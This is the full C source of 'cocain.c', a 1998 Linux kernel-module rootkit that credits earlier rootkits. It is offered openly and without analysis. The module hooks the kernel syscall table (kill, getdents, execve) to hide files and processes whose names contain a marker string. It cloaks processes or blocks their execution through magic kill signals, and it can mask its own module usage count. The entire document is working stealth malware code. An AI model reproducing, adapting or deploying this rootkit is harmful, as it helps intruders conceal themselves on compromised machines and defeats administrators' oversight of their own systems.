Module to hide processes and files.
1dacfe7599201c72d4a5e36edbdc7611d0047682d8b6c3f2b694862f4e8fb406
/*
* cocain.c, by pmsac@toxyn.org, 1998
*
* Just another ripp off from:
* - heroin.c, by Runar Jensen, zarq@opaque.org, 1998(?), from BugTraq
* - itf.c v0.8, by plaguez, dube0866@eurobretagne.fr, 1997, from Phrack52
*
* gcc -Wall -O3 -fomit-frame-pointer -c cocain.c
*/
#define MODULE
#define __KERNEL__
#define VERSION_COUNT sn199807290332
#include <linux/fs.h>
#include <linux/module.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <sys/syscall.h>
#define HIDEMESTR " pm "
#define PF__INVISIBLE 0x80000000
#define PF__NINVISIBLE 0x7fffffff
#define PF__EXECDENY 0x40000000
#define PF__NEXECDENY 0xbfffffff
#define PID 0
#define SIGSANE 31
#define SIGDEBUG 12
#define SIGCOUNT 10
#define SIGFLAGS 0
#define SIGEXECDENY 31
#define SIGINVISIBLE 0
extern void *sys_call_table[];
int errno;
int VERSION_COUNT = 0;
int debug = 0;
int __NR_myexecve;
int (*oldKill)(pid_t, int);
int (*oldGetdents)(unsigned int, struct dirent *, unsigned int);
int (*oldExecve)(const char *, const char *[], const char *[]);
void cleanup_module(void);
#define DEBUG(X); if (debug) printk(X);
#define DEBUG4(X,Y,Z,W); if (debug) printk(X,Y,Z,W);
int myatoi(char *str) {
int ret = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if (*ptr < '0' || *ptr > '9')
return (-1);
ret += (*ptr - '0') * mul;
mul *= 10;
}
return(ret);
}
struct task_struct *find_task(pid_t pid) {
struct task_struct *task = current;
do {
if (task->pid == pid)
return (task);
task = task->next_task;
} while(task != current);
return(NULL);
}
void showTasksFlags() {
struct task_struct *task = current;
static char *flagsStr[] = { "--", "i-", "-x", "ix" };
int flags;
do {
flags = 0;
if (task->flags & PF__INVISIBLE)
flags += 1;
if (task->flags & PF__EXECDENY)
flags += 2;
if (flags) {
DEBUG4("-> %s %s/%i\n",flagsStr[flags],task->comm,task->pid);
}
task = task->next_task;
} while(task != current);
}
static inline char *task_name(struct task_struct *p, char *buf) {
int i;
char *name;
name = p->comm;
i = sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if (!c)
break;
if (c == '\\') {
buf[1] = c;
buf += 2;
continue;
}
if (c == '\n') {
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
} while (i);
*buf = '\n';
return buf + 1;
}
int invisible(pid_t pid) {
struct task_struct *task;
char *buffer;
if ((task = find_task(pid)) == NULL)
return(0);
if (task->flags & PF__INVISIBLE)
return(1);
else {
buffer = kmalloc(200, GFP_KERNEL);
memset(buffer, 0, 200);
task_name(task, buffer);
if (strstr(buffer, HIDEMESTR)) {
kfree(buffer);
return 1;
}
}
return(0);
}
int newKill(pid_t pid, int sig) {
int ret;
struct task_struct *task = current;
DEBUG("newKill()\n");
if ((sig != SIGINVISIBLE) &&
(sig != SIGEXECDENY) &&
((pid != PID) ||
((sig != SIGCOUNT) &&
(sig != SIGDEBUG) &&
(sig != SIGFLAGS) &&
(sig != SIGSANE)))) {
DEBUG("-> oldKill()...\n");
ret = (*oldKill)(pid, sig);
if (ret == -1)
return (-errno);
return(ret);
}
if (pid != PID) {
if (sig == SIGINVISIBLE) {
DEBUG("-> Got invisible signal...\n");
if ((task = find_task(pid)) == NULL) {
DEBUG("-> Returning -ESRCH...\n");
return(-ESRCH);
}
if (current->uid && current->euid) {
DEBUG("-> Returning -EPERM...\n");
return(-EPERM);
}
if ((task->flags & PF__INVISIBLE) ^ PF__INVISIBLE) {
DEBUG("-> Cloaking...\n");
task->flags |= PF__INVISIBLE;
}
else {
DEBUG("-> Decloaking...\n");
task->flags &= PF__NINVISIBLE;
}
}
if (sig == SIGEXECDENY) {
DEBUG("-> Got execdeny signal...\n");
if ((task = find_task(pid)) == NULL) {
DEBUG("-> Returning -ESRCH...\n");
return(-ESRCH);
}
if (current->uid && current->euid) {
DEBUG("-> Returning -EPERM...\n");
return(-EPERM);
}
if ((task->flags & PF__EXECDENY) ^ PF__EXECDENY) {
DEBUG("-> Execdeny on...\n");
task->flags |= PF__EXECDENY;
}
else {
DEBUG("-> Execdeny off...\n");
task->flags &= PF__NEXECDENY;
}
}
}
else {
if (sig == SIGFLAGS) {
DEBUG("-> Showing flags...\n");
showTasksFlags();
}
if (sig == SIGCOUNT) {
DEBUG("-> Toggling usage count...\n");
VERSION_COUNT ^= 1;
if (VERSION_COUNT)
MOD_INC_USE_COUNT;
else
MOD_DEC_USE_COUNT;
}
if (sig == SIGDEBUG) {
DEBUG("-> Toggling debugging...\n");
debug ^= 1;
}
if (sig == SIGSANE) {
DEBUG("-> Sanitizing module, pls remove by hand...\n");
while (VERSION_COUNT != 0) {
MOD_DEC_USE_COUNT;
VERSION_COUNT--;
}
cleanup_module();
}
}
DEBUG("-> Returning...\n");
return(0);
}
int newGetdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
unsigned int ret;
int procfs = 0;
struct inode *dinode;
struct dirent *ourDirp;
int left, removed = 0;
char *ptr;
struct dirent *curr;
DEBUG("newGetdents()\n");
DEBUG("-> oldGetdents()...\n");
ret = (*oldGetdents)(fd, dirp, count);
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) &&
MINOR(dinode->i_dev) == 1) {
DEBUG("-> Proc fs...\n");
procfs = 1;
}
else {
DEBUG("-> Not proc fs...\n");
}
if (ret > 0) {
DEBUG("-> Allocating kernel space...\n");
ourDirp = (struct dirent *) kmalloc(ret, GFP_KERNEL);
DEBUG("-> Copying to kernel space...\n");
memcpy_fromfs(ourDirp, dirp, ret);
ptr = (char *)ourDirp;
left = ret;
while(ptr < (char *)ourDirp + ret) {
curr = (struct dirent *)ptr;
if (curr->d_reclen == 0) {
ret -= left;
break;
}
if (strstr((char *)&curr->d_name, HIDEMESTR) ||
(procfs && invisible(myatoi(curr->d_name)))) {
ret -= curr->d_reclen;
left -= curr->d_reclen;
removed += curr->d_reclen;
memmove(ptr, ptr + curr->d_reclen, left);
curr->d_off -= removed;
continue;
}
left -= curr->d_reclen;
ptr += curr->d_reclen;
}
DEBUG("-> Copying to user space...\n");
memcpy_tofs(dirp, ourDirp, ret);
DEBUG("-> Deallocating kernel space...\n");
kfree(ourDirp);
}
DEBUG("-> Returning...\n");
return ret;
}
int cryptic_execve(const char *filename, const char *argv[], const char *envp[])
{
long __res;
__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
return (int) __res;
}
int newExecve(const char *bin, const char *argv[], const char *envp[]) {
int ret;
DEBUG("newExecve()\n");
DEBUG("-> Checking execdeny...\n");
if ((current->flags & PF__EXECDENY) ^ PF__EXECDENY) {
DEBUG("-> oldExecve()...\n");
ret = (*cryptic_execve)(bin, argv, envp);
return (ret);
}
else {
DEBUG("-> Returning -EPERM...\n");
return(-EPERM);
}
DEBUG("-> Returning...\n");
return(0);
}
int init_module(void) {
DEBUG("init_module()\n");
DEBUG("-> Replacing kill()...\n");
oldKill = sys_call_table[SYS_kill];
sys_call_table[SYS_kill] = newKill;
DEBUG("-> Replacing getdents()...\n");
oldGetdents = sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents] = newGetdents;
DEBUG("-> Replacing execve()...\n");
__NR_myexecve = 164;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
__NR_myexecve--;
oldExecve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0) {
sys_call_table[__NR_myexecve] = oldExecve;
sys_call_table[SYS_execve] = newExecve;
}
DEBUG("-> Returning...\n");
return 0;
}
void cleanup_module(void) {
DEBUG("cleanup_module()\n");
DEBUG("-> Restoring kill()...\n");
sys_call_table[SYS_kill] = oldKill;
DEBUG("-> Restoring getdents()...\n");
sys_call_table[SYS_getdents] = oldGetdents;
DEBUG("-> Restoring execve()...\n");
sys_call_table[SYS_execve] = oldExecve;
DEBUG("-> Restoring __NR_myexecve...\n");
if (__NR_myexecve != 0)
sys_call_table[__NR_myexecve] = 0;
DEBUG("-> Returning\n");
}